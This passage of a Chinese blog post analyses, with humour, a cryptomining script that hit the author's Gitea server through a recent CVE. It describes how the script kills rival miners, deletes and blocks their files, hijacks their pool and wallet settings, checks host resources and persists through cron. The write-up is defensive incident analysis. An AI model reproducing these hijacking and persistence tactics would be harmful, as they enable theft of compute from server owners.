  • 特定家族清理:针对“独角兽”(unicorn)家族,识别 postgres 用户下高CPU的 unicorn 进程,并清理其Cron任务、配置文件(如 /var/tmp/.odoo_pg_health.json)和目录。

  • 文件清除:删除常见矿工遗留文件(如 /bin/softirq、/tmp/nuclear 等),并创建同名目录,防止其他恶意软件重新创建可执行文件。

更抽象的来了,它还会把一些其它挖矿脚本的配置改成向自己产生收益(乐
如果发现系统中有其他挖矿程序的配置文件(如 /var/tmp/.odoo_pg_health.json 或 /lib/systemd/cache/process-watcher),脚本会替换其中的矿池地址和钱包地址为自己,从而“劫持”已存在的挖矿进程。

并且人家还获取了服务器可用的核心数和存储资源,如果核心数小于4且不在EC2环境下则直接退出;

对于我部署Gitea的 2核2G ECS经济型实例,并且通过docker容器部署进一步限制容器分配资源的情况来说,恶意脚本运行起来后一通忙活,对其它可能存在的同行一顿拳打脚踢,然后发现这环境太寒酸了,顺手把高资源占用的僵尸进程一通杀杀杀之后啥也不干就撤退了,还贴心的定了个定时任务,每隔45分钟左右就回来再扫荡一遍,纯做慈善来的(乐飞了

你人还怪好的嘞

修复近期 Gitea CVE 漏洞导致的拉取异常
https://blog.luchichick.cn/posts/2026/08/修复近期-gitea-cve-漏洞导致的拉取异常/
作者
LuChiChick
发布于
2026-08-14
许可协议
CC BY-NC-SA 4.0